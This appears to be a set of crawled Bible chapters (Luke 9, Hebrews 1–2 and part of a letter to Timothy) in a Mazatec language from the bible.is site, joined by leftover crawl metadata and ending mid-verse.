ni̱si̱yá komà. 18Jngoò k'a k'e̱ nga tíjnat'aàxìn Jesús nga tíchja̱t'aà‑la̱ Nainá, ya̱ títsa̱jnako̱ xi̱ta̱ xi kota'yàt'aà‑la̱. Jesús kiskònangui, kitsò‑la̱: ―¿Kó tsò xi̱ta̱, yá‑ná 'a̱n? 19Jñà xi̱ta̱‑la̱ kitsò: ―Tjín xi tsò: jè Juan xi kis'iìn bautizar xi̱ta̱, ti̱koa̱á tjín xi tsò: jè Elías, koa̱ tjín i'nga xi tsò: jaáyaá‑la jngoò‑la̱ xi̱ta̱ xi chinchima kjòtseé xi kiìchja̱ ngajo‑la̱ Nainá. 20Jesús kiskònangui‑la̱ kitsò‑la̱: ―Jñò, kó bixón. ¿Yá‑ná 'a̱n? K'e̱é kiìchja̱ Pedro, kitsò: ―Ji̱‑né xi Cristo xi xó kisìkasén‑lè Nainá. 21Ta̱nga Jesús 'ñó tsibít'in‑la̱ nga mì yá xi̱ta̱ xi ke̱èno̱jmí‑la̱ kjoa̱ koi. 22Kitsò‑la̱: ―'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tseé kjo̱'in siìkjiaán; ko̱chrje‑nguií‑na jñà xi̱ta̱ jchínga, ko̱ xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Si̱ìk'eén‑na ta̱nga k'e̱ nga ki̱jchò jàn na̱chrjein kjoa̱áya‑na. 23Xi komà i̱skan kitsò‑la̱ kóho̱tjín: ―Tsà yá xi mejèn‑la̱ nga xi̱ta̱ ts'a̱n ko̱ma, kàtatsjeiìn‑takòn mé xi mejèn‑la̱ yijo‑la̱; koni jngoò xi̱ta̱ xi 'yajen krò‑la̱, na̱chrjein inchijòn kàtìjnandaà nga si̱ìkjeiín kjo̱'in xi kjoa̱ ts'a̱n; ndaà kàtjìt'aà‑na. 24Nga ni̱ta̱ yá xi̱ta̱ xi mejèn‑la̱ ko̱chrjetjì yijo‑la̱ nga ni̱mé kjo̱'in sa̱kò‑la̱, tà sa̱á si̱ìchija‑né ko̱ kjo̱'in kíjnajiìn; ta̱nga jè xi tíjnandaà nga tsjá yijo‑la̱ xi kjoa̱ ts'a̱n, jè‑né xi ki̱tjokàjiìn kjo̱'in nga i̱t'aà ts'a̱n ndaà kíjna. 25¿Mé xi si̱ìkijne jngoò xi̱ta̱ na̱s'ín tjoé yije‑la̱ i̱sò'nde tsà chija ini̱ma̱‑la̱ koa̱ si̱ìkits'ón yijo‑la̱? Ni̱mé. 26Tsà tjín i'nga xi̱ta̱ xi ko̱sobà‑la̱ i̱t'aà ts'a̱n ko̱ i̱t'aà ts'e̱ 'én‑na̱, ti̱koa̱á 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ko̱sobà‑na k'e̱ nga ki̱tjojen ìjngoò k'a nga skoe̱ xi̱ta̱ kjoa̱jeya‑na̱, skoe̱ kjoa̱jeya‑la̱ Na̱'èn‑na̱ ti̱koa̱ skoe̱ kjoa̱jeya‑la̱ ts'e̱ àkja̱le̱ tsjeè‑la̱ Nainá. 27Xi o̱kixi̱, k'oa̱á xán‑nò, i̱jndé títsa̱jnajiìn i'nga xi̱ta̱ xi mìkiì ki̱yá skanda k'e̱ nga skoe̱ kó s'ín otíxoma Nainá. 28Tjín‑la̱ tsà kó jiìn na̱chrjein nga tsibéno̱jmí 'én koi, Jesús, kiìmijìn‑jno jngoò nindoò nga kiìchja̱t'aà‑la̱ Nainá. Kiìko̱ Pedro, Juan ko̱ Jacobo. 29K'e̱ nga tíchja̱t'aà‑la̱ Nainá, Jesús, jahatjìya í'ñó i̱sén‑la̱; jè nikje‑la̱ 'ñó kjòchroba; tsí ote tsatsejèn. 30Jò xi̱ta̱ x'i̱n tsatsejèn xi nchijoókjoò Jesús, jè Moisés ko̱ Elías. 31Xi̱ta̱ koi, tsí ote choòn kjoa̱jeya‑la̱ nga jngoò itjandiì ñánda jncha. Nchijoóya‑ne nga jè Jesús, jye tífì síkitasòn kjoa̱ ján Jerusalén nga ya̱ ki̱yá. 32Jè Pedro ko̱ xi̱ta̱ xíkjín, tsí 'ñó nijñá‑la̱, ta̱nga k'e̱ nga jye kitjaàxìn‑la̱ nijñá kijtseèxkon kjoa̱jeya‑la̱ Jesús ko̱ jñà xi̱ta̱ xi jò ma‑ne xi títsa̱jnako̱. 33K'e̱ nga jye chinchat'aà xìn‑la̱ Jesús xi̱ta̱ koi, jè Pedro kitsò: ―Maestro, ndaà tjín nga i̱ titsa̱jnaá. Kíndaá jàn ni'ya xkójndà, jngoò tsi̱ji, jngoò ts'e̱ Moisés, jè xi ìjngoò ts'e̱ Elías. Jè Pedro tà k'oa̱á kitsò, mì ti̱ kiì beè‑ne kó s'ín ki̱chja̱. 34Ti̱k'e̱‑né nga tíchja̱ Pedro, j'iì jngoò 'nguién‑la̱ ifi xi tsibí'ma xi̱ta̱ koi. K'e̱ nga jahas'en‑jiìn ifi, tà kitsakjòn‑né. 35Ya̱ i̱jiìn ifi kina'yà jngoò‑la̱ 'én xi kitsò: ―Jè jèe̱ xi ki'ndí‑na xi 'ñó matsjake̱, jè ti̱ná'ya‑là. 36K'e̱ nga jye kina'yà‑la̱ 'én koi tà jè ta̱jngoò síjna‑ìsa Jesús. Na̱chrjein koi jñà xi̱ta̱‑la̱ jyò tsibìtsa̱jna, ni̱mé 'én xi kiìchja̱, mìtsà yá xi̱ta̱ tsibéno̱jmí‑la̱ kjoa̱ xi kijtseè. 37Xi komà inchijòn, k'e̱ nga itjojen‑jno‑ne nindoò, 'ñó kjìn xi̱ta̱ kisatiìkjoò. 38K'e̱é jngoò xi̱ta̱ xi ya̱ tíjnajiìn‑la̱ xi̱ta̱ kjìn, 'ñó kiìchja̱, kitsò‑la̱ Jesús: ―Maestro, tìbitsi'bà‑lè nga chítsejèn‑la̱ ki'ndí‑na̱ xi tà jè ta̱jngoò‑ne. 39Jngoò ini̱ma̱ ch'o‑la̱ nei̱í tsobà'ñó; tà ni̱to̱ón kjindáya, i̱kjoàn 'ñó síkatsé yijo‑la̱; ochrje ndáxó tso'ba; tse kjo̱'in tsjá‑la̱, mìkiì xátí tsjeiìn. 40Kàbìtsi'bà‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑lè nga kàtachrjekàjiìn ini̱ma̱ ch'o xi tíjiìn yijo‑la̱, ta̱nga mìkiì kòma‑la̱. 41K'e̱é kiìchja̱ Jesús kitsò: ―Jñò, xi̱ta̱ xi mìkiì mokjeiín‑nò i̱t'aà ts'a̱n, xi ch'o 'nè. ¿Skanda mé na̱chrjein kóti̱jnako̱‑nò koa̱ ska̱‑na kjoa̱‑nò? Nchrohókoi̱i ki'ndí‑lè i̱jndé. 42K'e̱ nga tínchrobá chrañà jè ti, jè ini̱ma̱ ch'o‑la̱ nei̱í, tsajndoòt'aà nangui, i̱kjoàn kisìkatsé yijo‑la̱; ta̱nga jè Jesús, tsohótiko̱ jè ini̱ma̱ ch'o‑la̱ nei̱í; i̱kjoàn kisìndaà‑ne jè ti; kisìnga̱tsja‑ne na̱'èn‑la̱. 43Ngats'iì xi̱ta̱ tà kjòxkón‑la̱ jè kjoa̱jeya‑la̱ Nainá. Ngats'iì kjoa̱ xi kis'iìn Jesús, ti̱koa̱á tà kjòxkón‑la̱ ngats'iì xi̱ta̱. Jesús kitsò‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱: 44―Ndaà ti̱ná'yaà jñà 'én koi; kì nìjchàajiìn‑jèn: 'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ ya̱á si̱ìnga̱tsja‑na xi̱ta̱ nguixko̱n xi̱ta̱xá. 45Jñà xi̱ta̱‑la̱ mìkiì kjòchi̱ya‑la̱ jè 'én xi ko̱s'ín kitsò‑la̱. Nainá tsibí'ma‑né nga mìkiì kjoa̱has'en‑jiìn‑la̱; tà kitsakjòn‑né, mìkiì kiskònangui‑la̱ Jesús kó tsòya‑ne 'én xi tsibéno̱jmí‑la̱. 46Xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, tsibíts'ia̱ nga tsajoóya‑ne yá xi̱ta̱ xíkjín xi kíjna ítjòn. 47Jesús, k'e̱ nga kijtseè koni s'ín nchisíkítsjeèn, kiskoé jngoò ndí ti, kisìkíjnat'aà‑la̱ yijo‑la̱, 48kitsò‑la̱: ―Ni̱ta̱ yá‑ne xi i̱t'aà ts'a̱n skoétjò jngoò ndí ti koni jè, 'a̱án xi skoétjò‑na; jè xi skoétjò‑na, ti̱koa̱á skoétjò‑né jè xi kisìkasén‑na. Koií kjoa̱‑la̱, jè xi ìsa̱ nangui tíjna xi ya̱ tíjnajiìn‑nò, jè‑né xi ìsa̱ tíjna ítjòn. 49Juan kitsò: ―Maestro, ki'ya jngoò‑je̱n xi̱ta̱ xi ko̱ 'ín‑lè ochrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn yijo‑la̱ xi̱ta̱; mìkiì kits'iì'nde‑la̱je̱n nga mìtsà xi̱ta̱ tsa̱ján xi jñá fìt'aà‑ná. 50Jesús kitsò‑la̱: ―Kì bichakjáya‑là. Jè xi mìtsà kondra̱ tsa̱ján, xi̱ta̱ tsa̱ján‑ná. 51K'e̱ nga jye kjòchrañà na̱chrjein nga kjoi̱ ìjngoò k'a‑ne Jesús ján ngajmiì, 'ñó tsi'beé‑la̱ ikon nga kiì ján Jerusalén. 52Kisìkasén ítjòn i'nga xi̱ta̱‑la̱ jngoò na̱xa̱ndá jtobá ján nangui Samaria. Kiì kátsji'nde ñánda si̱ìkjáya. 53Jñà xi̱ta̱ Samaria mìkiì kitsjaà'nde‑la̱ nga jyeé tíjiìn‑la̱ nga ján nchifì Jerusalén. 54Xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, Jacobo ko̱ Juan, k'e̱ nga kijtseè nga mìkiì kitsjaà'nde‑la̱ kitsò: ―Na̱'èn, ¿a mejèn‑lè nga k'oa̱ kixón‑je̱n nga kàtjanchrobá‑jen ni'ín xi ts'e̱ ngajmiì nga kàtjehesòn xi̱ta̱ koi koni s'ín kis'iìn Elías? 55Ta̱nga jè Jesús kisìkátji'a, tsohótiko̱. Kitsò‑la̱: ―Jñò, mìkiì tíjiìn‑nò yá ts'e̱ ini̱ma̱ xi kàtsjá‑nò kjo̱hítsjeèn jè. 56'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, mìtsà koi xá j'i̱‑na nga kàtachija ini̱ma̱‑la̱ xi̱ta̱; jè‑né nga kàtitjokàjiìn kjo̱'in. I̱kjoàn xìn na̱xa̱ndá kiì. 57K'e̱ nga nchifìya ndi̱yá, jngoò xi̱ta̱ kitsò‑la̱: ―Na̱'èn, kjítji̱ngui‑lè ni̱ta̱ ñánda‑ne nga k'oín. 58Jesús kitsò‑la̱: ―Jñà ni̱nda̱, tjín‑la̱ nguijo ñánda oyijò; ti̱koa̱á jñà ni̱se tjín‑la̱ tjé; ta̱nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tsjìn‑na i̱'nde ñánda síkjáya. 59Jesús kitsò ìjngoò‑la̱ xi̱ta̱: ―Nchrobátji̱ngui‑ná. Jè xi̱ta̱ xi o̱ki'mì‑la̱ kitsò: ―Na̱'èn, tjiì'nde‑ná nga ítjòn kjián kìhijñaà na̱'èn‑na̱. 60Jesús kitsò‑la̱: ―Jñà mik'en kàtìhijiìn mik'en‑la̱; ngaji̱ t'in, ti̱ka'bí 'én kó s'ín otíxoma Nainá. 61Ìjngoò xi̱ta̱ xi k'oa̱ ti̱ kitsò: ―Kjítji̱nguií‑lè ngaji̱ Na̱'èn, ta̱nga tjiì'nde‑ná nga kjián síhixat'aà ítjoàn jñà xi̱ta̱ xi títsa̱jna ni'ya‑na̱. 62Jesús kitsò‑la̱: ―Ni̱jngoò xi̱ta̱ xi i̱jto̱n íts'i̱n tíkotsejèn‑ne ko̱ma si̱kitasòn xá‑la̱ Nainá nga jè tíhotíxoma. K'oa̱á ngaya‑la̱ tsà jngoò xi̱ta̱ xi tísíkon nchra̱ja̱, tsà i̱jto̱n íts'i̱n tíkotsejèn‑ne, mìkiì ko̱ma si̱ìxá.\nSan Lucas 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/9","date":"2013-12-06T20:50:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052537\/warc\/CC-MAIN-20131204131732-00083-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":1398,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kií machjeén‑ní nga isa̱ nda si̱sieén 'én ra ijye ina'yé, mé‑ni nga mì xìn ndi̱yá kjìn‑né. 2Jñà kjo̱téxoma ra Nainá kitsjà 'kia̱ nga isìchjeén jñà ìkja̱li̱ jñà ni̱chjin ra ijye tsato, ki'seé‑la̱ kjo̱hixi̱; ko̱ jñà ra tsakátsji‑jé nga mì kì isìhitjasòn, ki'tsí‑la̱ kjo̱hi'in koni 'sín nga bakèn‑la̱ jñà jé ra tsakátsji. 3Ti̱'koa̱á jién, mì kì ko̱ma kjoaàjno‑ná kjo̱hi'in tsa mì kì si̱konde̱é jè kjoa̱ ra bato 'ñó chjí‑la̱ koni 'sín nga ijye itjokàjieén kjo̱hi'in a̱'ta 'tse̱ jé‑ná. Nga̱ jé kjón Na̱'ín‑ná kiìchja̱ ítjòn nga ma kítjo̱jieén jé‑ná; ko̱ ra kjomà a̱skan‑nioo̱, jñà nda kisìchi̱ya‑ná jñà xi̱ta̱ ra kií'nchré kjòn‑la̱ jñà 'én kìi̱, nga ngi 'én kixi̱ kiti‑ní. 4Nainá, ti̱'koa̱á isìkixi̱yandaá kjoa̱ kìi̱ 'kia̱ nga kjìn sko̱ya kjo̱xkón tsakón ko̱ 'kia̱ nga isìka'bí kjo̱tjò ra tsjá jè Inìma̱ Tsje‑la̱; 'koa̱á 'sín kitsjá koni 'sín nga kjomejèn‑la̱ ra jè. 5Nga̱ Nainá, mì tsa jñà ìkja̱li̱ kitsjà‑la̱ nga jñà ko̱tèxoma‑la̱ jè i̱sà'nde ra 'sa̱ nchrabá jè ra i̱nchichibaya‑ná. 6Tanga tíchja̱á jngo 'ká xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá ñánda̱ nga tsò: Ji̱ Na̱'ìn, ¿yá‑ni ra jñà xi̱ta̱? ¿A bakén‑la̱ nga ko̱'sín ji̱ makájno‑li nga níkítsjin ra a̱'ta 'tse̱? 7Ta chibaá ni̱chjin ko̱'sín isa̱ nangi inìkíjni koni jñà ìkja̱li̱. Tanga ra kjomà a̱skan, ki'tsì‑la̱ ji̱ kjoa̱jeya ko̱ ndaá iníkíjna‑ni nga kijchaxkón; 8ko̱ nga'tsì tsajmì, ya̱á iníkítsa̱jnangi ijyi ya̱ a̱ngi ndsa̱ko̱ [mé‑ni nga jè ko̱tèxoma ijye‑la̱]. Jè Nainá, 'kia̱ nga ko̱'sín ya̱ tsikíhijyongí ijye ya̱ a̱ngi ndsa̱ko̱, 'koa̱á 'sín chja̱‑ni nga ni̱mé tsajmì tjín ra mì tsa jè tíbatéxoma‑la̱. Tanga takó kjè kì nda 'ya‑la̱ tsa jè tíbatéxoma ijye‑la̱ nga'tsì tsajmì. 9Tanga 'ndi̱, machi̱ya‑ná nga jè Jesús, ni̱'sín nangi iníkíjna chiba ni̱chjin koni jñà ìkja̱li̱, tanga 'ndi̱ 'ndi̱, jeyaá tíjna, ko̱ 'ngaá tíjna nga tíbatéxoma, ta nga̱tjì‑la̱ kjo̱hi'in ra isìkjiín 'kia̱ nga 'ken. Ngi tà kjo̱nda 'tse̱ Nainá‑ní nga ko̱'sín jè tsatojin ngajo‑la̱ kjo̱biya nga'tsì xi̱ta̱. 10Kjoa̱ kixi̱í ra ki'sìn Nainá, jè ra tsikínda nga'tsì tsajmì ra tjín, 'kia̱ nga ko̱'sín isikatojin kjo̱hi'in I'ndí‑la̱, mé‑ni nga jè kjo̱hi'in ra tsatojin I'ndí‑la̱, 'koa̱á 'sín isìko̱ nga ni̱mé ra ichija'ta‑la̱, mé‑ni nga jè ko̱ma ko̱chrjekàjin kjo̱hi'in nga'tsì i̱xti‑la̱ Nainá ra jè mejèn‑la̱ nga ya̱ kítsa̱jnako̱ ñánda̱ jeya tíjna ra jè. 11Nga̱ jè I'ndí‑la̱ Nainá, jé sítsje xi̱ta̱ ra tjín‑la̱ jé, ko̱ jñà‑nì xi̱ta̱ ra sítsje, ta̱jngoó Na̱'ìn ma‑ni. 'Koa̱á 'sín ma‑ni nga mì kì masabà‑la̱ nga 'ndse̱ tsò‑la̱ jñà xi̱ta̱ ra sítsje. 12Jè xa̱jo̱n‑la̱ Nainá, 'koa̱á 'sín tíchja̱ nga tsò: 'Kenájmí‑la̱ jñà 'ndsèe̱ ra a̱'ta tsa̱ji, ko̱ seé‑la̱ ra ji̱ ya̱ a̱jin xi̱ta̱ na̱xi̱ndá‑li. 13Ti̱'koa̱á tjí'ta ñánda̱ nga tsò: Jé Nainá ma'ñó'ta ikon. India tjí'ta‑isa ñánda̱ nga tsò: I̱í tíjna̱ko̱ jñà i̱xti ra Nainá kitsjà‑na. 14'Koa̱á 'sín tjín koni jñà i̱xti‑la̱ xi̱ta̱ nga ta̱jngo jní ko̱ ta̱jngo ijo‑ní; 'koa̱á ti̱'sín jní ko̱ ijo ki'se‑la̱ jè Jesús mé‑ni nga a̱'ta 'tse̱ kjo̱biya‑la̱ ma isikijne‑la̱ jè xi̱ta̱‑ni̱í ra tjín‑la̱ nga'ñó nga ma‑la̱ sí'ken xi̱ta̱. 15Jesús, 'koa̱á 'sín kjomà'tin mé‑ni nga kjomà isíkítsa̱jnandi̱í‑ni nga'tsì xi̱ta̱ ra ki'ta ni̱chjin i̱nchitsakjón‑la̱ jè kjo̱biya, nga 'koa̱á 'sín títsa̱jna koni tsa tjíté'ñó‑la̱ nga kó'ki ni̱chjin bìtsa̱jnakon. 16Jesús mì tsa ki xá 'ji‑ni nga jñà ìkja̱li̱ ko̱si̱ko̱, kií xá 'ji‑ni nga jñà ko̱si̱ko̱ ra xi̱ta̱ tje̱‑la̱ Abraham. 17'Koa̱á 'sín kjomà‑ni nga jè Jesús tjínè‑la̱ nga ko̱'sín ngásòn kjomà koni jñà xi̱ta̱ 'ndse̱, mé‑ni nga kjomà na̱'mì ítjòn kjomà‑ni ra tjín‑la̱ kjo̱hi̱ma̱takòn ra nda síhitjasòn xá‑la̱ Nainá, nga kjomà tsikíchjítjì jé‑la̱ xi̱ta̱ ra a̱'ta 'tse̱ kjo̱biya‑la̱. 18Koni 'sín nga kisìkjiín kjo̱hi'in nga itjá'ta ra jè, 'koa̱á ti̱'sín ma‑la̱ ko̱si̱ko̱ jñà xi̱ta̱ ra si̱ìkjiín kjo̱hi'in 'kia̱ nga tjá'ta.\nHebreos 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/2","date":"2013-12-11T00:07:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164027414\/warc\/CC-MAIN-20131204133347-00019-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":571,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.35,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga ti̱'sa̱ kjotseé jè Nainá kjín 'ka̱ kiìchja̱‑la̱ jñà xi̱ta̱ jchínga‑ná nga isìchjeén jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱, nga kjìn sko̱ya tjín‑ni kó'sín nga kiìchja̱‑la̱. 2Tanga 'ndi̱ 'ndi̱ nga ijye tífehe'ta ni̱chjin, jè I'ndí‑la̱ tísíchjeén nga tíchja̱‑ná ra a̱'ta 'tse̱, ko̱ ti̱jé‑ni ra isìchjeén nga tsikínda i̱sà'nde, jé isìnga̱tsja ijye nga'tsì tsajmì ra tjín. 3Jè I'ndí‑la̱, jè bakón tsijen‑ná jè kjoa̱jeya‑la̱ Nainá, ko̱ jé bakón‑ná kó'ki kjòn‑ni ko̱ kó'sín 'sín Nainá. Jè nga'ñó‑la̱ 'én ra chja̱, jé itsabá'ñó‑ni i̱sà'nde. 'Kia̱ nga ijye isikijne nga kjomà isìtsje jé‑ná, a̱kjòn tsihijin ján ngajmi nga tsikijna'ta ya̱ nga kixi̱‑la̱ Nainá. 4Jè I'ndí‑la̱ Nainá tíjna ítjòn; isa̱á 'ñó 'nga tíjna koni jñà ìkja̱li̱, ta nga̱tjì‑la̱ nga isa̱á 'ñó chjí‑la̱ jè 'í ra ki'tsì‑la̱. 5Nga̱ jè Nainá, ni̱jngo ìkja̱li̱ ra ko̱'sín kitsò‑la̱: Ji̱í‑nì ra I'ndí‑na̱ ko̱ 'a̱án‑ná ra Na̱'ìn‑li. Ti̱'koa̱á ni̱jngo ìkja̱li̱ ra kitsò‑la̱: 'A̱án ko̱ma Na̱'ìn‑la̱, ko̱ jè ko̱ma I'ndí‑na̱. 6Jè Nainá, 'kia̱ nga isìkasén jè I'ndí‑tjòn‑la̱ ya̱ i̱sà'nde, ti̱'koa̱á 'koa̱á 'sín kitsò: Nga'tsì jñà ìkja̱li̱‑na̱, katabexkón‑ní. 7Tanga ra a̱'ta 'tse̱ jñà ìkja̱li̱, ki̱í 'sín tsò: Nainá, maá‑la̱ nga tjo̱ 'sín jñà ìkja̱li̱‑la̱. Ko̱ maá‑la̱ ni'í 'sín jñà chi̱'nda‑la̱. 8Tanga ra a̱'ta 'tse̱ I'ndí‑la̱, tsó‑ní: Ji̱‑níi̱ Nainá, ko̱ ji̱í ko̱te̱xomi ta mé ni̱chjin‑nioo̱, ngi kixi̱í nichjiín jè kjo̱téxoma ra tjíya ndsi̱i. 9Jé matsjachi jè kjoa̱ ra nda tjín, ko̱ jticha‑ní jè kjoa̱ ra 'cho tjín. 'Koa̱á ma‑ni, 'a̱n ra Nainá‑li 'mì‑ná, xá tsjahíjin‑ila nga isa̱ nda jcha̱xkón‑li ko̱ isa̱ tse kjo̱tsja 'se̱‑li koni jñà xi̱ta̱ xàngi̱i. 10Ti̱'koa̱á tsò‑ní: Ji̱ ra tijna ítjìn, skanda ti̱'sa̱ tjà'tsin‑la̱ kjoa̱; ji̱í tsikindi jè i̱sà'nde, ko̱ ji̱í tsikindi jè ngajmi. 11Ngaji̱, ki̱jna‑ní skanda ta mé ni̱chjin‑nioo̱; tanga jè i̱sà'nde ko̱ jè ngajmi kje̱he'tà‑ní ko̱ ko̱jchínga‑ní koni 'sín ma jñà nikje nga majchínga, 12'koa̱á 'sín kíxkóyi koni jngo nikje ra tsjayeé ko̱ 'koa̱á 'sín si̱kaatjìyi koni 'sín nga fahatjìya nikje. Tanga ra ji̱ 'koa̱á 'ki ko̱ma kji'ti, ko̱ jè ni̱chjin‑li mì kì kje̱he'tà. 13Nainá, ni̱jngo jñà ìkja̱li̱‑la̱ kitsò‑la̱: I̱ ti̱jna'tá‑ná ya̱ chrja nga kixi̱‑na̱, skanda 'kia̱ nga sikítsa̱jnangia jñà kondra̱‑li ya̱ ñánda̱ nga i̱nchasòn ndsa̱kì. 14Nga̱ jñà ìkja̱li̱, tà i̱sén ni̱chjin tsje‑ní, ko̱ ya̱á síxá'ta‑la̱ Nainá; jñà nikasén nga basìko̱ jñà xi̱ta̱ ra tjábé‑la̱ kjo̱nda nga ki̱tjokajin kjo̱hi'in 'tse̱ jé‑la̱.\nHebreos Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/","date":"2013-12-10T13:02:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164019123\/warc\/CC-MAIN-20131204133339-00003-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":362,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ta̱nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá ndaà béno̱jmíya‑ná nga tsò: k'e̱ nga chiba na̱chrjein chija‑ìsa‑la̱ nga kjoi̱í ìjngoò k'a Cristo, s'e̱é xi̱ta̱ xi mì ti̱ kiì ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Ya̱á kji̱t'aà‑la̱ ini̱ma̱ ch'o‑la̱ nei̱í xi kona̱cha̱n koa̱ kjo̱hítsjeèn‑la̱ nei̱í si̱ìkitasòn. 2Jñà kji̱'nchré‑la̱ xi̱ta̱ ndiso xi jò i̱sén tjín‑la̱. Xi̱ta̱ koi, nga jye kjòtájaàjiìn kjo̱hítsjeèn‑la̱, mì ti̱ kinda̱ fìko̱‑ne kjoa̱ch'o xi nchis'ín. 3Jñà xi̱ta̱ koi mìkiì tsjá'nde nga ki̱xan xi̱ta̱. Ti̱koa̱á tjín tsojmì xi ma chine, mìkiì tsjá'nde nga ko̱ma chji̱ne̱. Ta̱nga tsojmì koi, Nainá tsibíndaà nga tjí'nde‑la̱ nga ko̱ma ski̱ne̱ xi̱ta̱ xi mokjeiín‑la̱ ko̱ xi ndaà tíjiìn‑la̱ kjoa̱kixi̱. K'e̱ nga ski̱ne̱ tsjá‑la̱ kjo̱ndaà Nainá. 4Ngats'iì tsojmì xi Nainá tsibíndaà, ndaà‑né, mìkiì ko̱ma ki̱náchrjenguiaá. Ko̱ma si̱kjeén yije tsà k'oi̱‑lá kjo̱ndaà Nainá k'e̱ nga si̱kjeén. 5Jè 'én‑la̱ Nainá si̱ìtsjeè tsojmì k'e̱ nga ki̱nókjoa̱t'aà‑lá. 6Ji̱, tsà k'oa̱s'ín ko̱kóya‑la̱ jñà xi̱ta̱ xinguia̱á kjoa̱ koi, 'ñó ndaà si̱xát'aà‑la̱ Cristo Jesús. Ska̱sòn‑ìsa̱ kjo̱hítsjeèn‑lè i̱t'aà ts'e̱ 'én xi mokjeiín‑ná ko̱ kjo̱hítsjeèn xi ndaà tjín xi ndaà tì'mìtji̱ngui‑la̱. 7Ta̱nga kì ta̱xki̱ nìs'in‑la̱ 'én jchínga ts'e̱ i̱sò'nde xi nìmé chjí‑la̱ xi tà kjo̱hítsjeèn‑la̱ xi̱ta̱. Tìnè‑la̱ yijo‑lè nga cha̱xkoín Nainá. 8Tsà kínè‑lá yijo‑ná nga k'oi̱‑lá nga'ñó, sakó chiba‑la̱ kjo̱ndaà, ta̱nga tsà kínè‑lá ini̱ma̱‑ná nga ndaà jcha̱xkoán Nainá, ìsa̱á sakó‑ná kjo̱ndaà xi mochjeén‑ná nga kjit'aà na̱chrjein. Sakó‑ná kjo̱ndaà i̱ i̱t'aà nangui ko̱ nga ko̱ma i̱skan ti̱koa̱á sakó‑ná ján ngajmiì. 9'Én koi, 'én kixi̱‑né. Mochjeén‑né nga kàtakjeiín yije‑la̱ xi̱ta̱. 10Koií k'oa̱s'ín bìnè‑lá xá yijo‑ná, ti̱koa̱ nìkjiaán kjo̱'in nga jè titsa̱chiñá‑lá Nainá xi tíjnakon xi ma‑la̱ ochrjekàjiìn kjo̱'in ngats'iì xi̱ta̱. Jñà‑né xi ki̱tjokàjiìn kjo̱'in xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. 11K'oa̱á s'ín tatìxoma‑la̱ jñà xi̱ta̱, k'oa̱ tì s'ín ta̱kóya‑la̱ 'én koi. 12Kì yá xi ochrjekàngui‑lè na̱s'ín nguì sa̱ i̱xti‑ìsi. Ya̱ i̱jiìn‑la̱ xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo, ji̱, ndaà t'in ítjoìn mé‑ne skíngui‑ne kós'ín nokjoì, kós'ín 'nì, kós'ín tjòcha 'yi Nainá ko̱ xi̱ta̱, [kós'ín ndaà tíjna ini̱ma̱‑lè], kós'ín mokjeiín‑lè i̱t'aà ts'e̱ Nainá, kós'ín tsjeè tìnìjchí yijo‑lè nga nguixko̱n Nainá. 13Skanda k'e̱ nga kìjchokon‑lè, k'oa̱á s'ín t'i̱in: tìxke̱jiìn‑la̱ xi̱ta̱ 'én‑la̱ Nainá; tìnè‑la̱ nga 'ñó kàt'eé‑la̱ ikon; ti̱koa̱ ta̱kóya‑la̱. 14Kì nìjchàajiìn‑jèn nga si̱xát'aà‑la̱ Nainá i̱t'aà ts'e̱ kjo̱tjò xi kitjoé‑lè k'e̱ nga jñà xi̱ta̱ jchínga‑la̱ na̱xa̱ndá‑la̱ Nainá tsohósòn‑lè tsja nga jñà kiìchja̱ ngajo‑la̱ Nainá i̱t'aà tsi̱ji. 15I̱t'aà ts'e̱ kjoa̱ koi, kjit'aà na̱chrjein ti̱yakoi̱i, 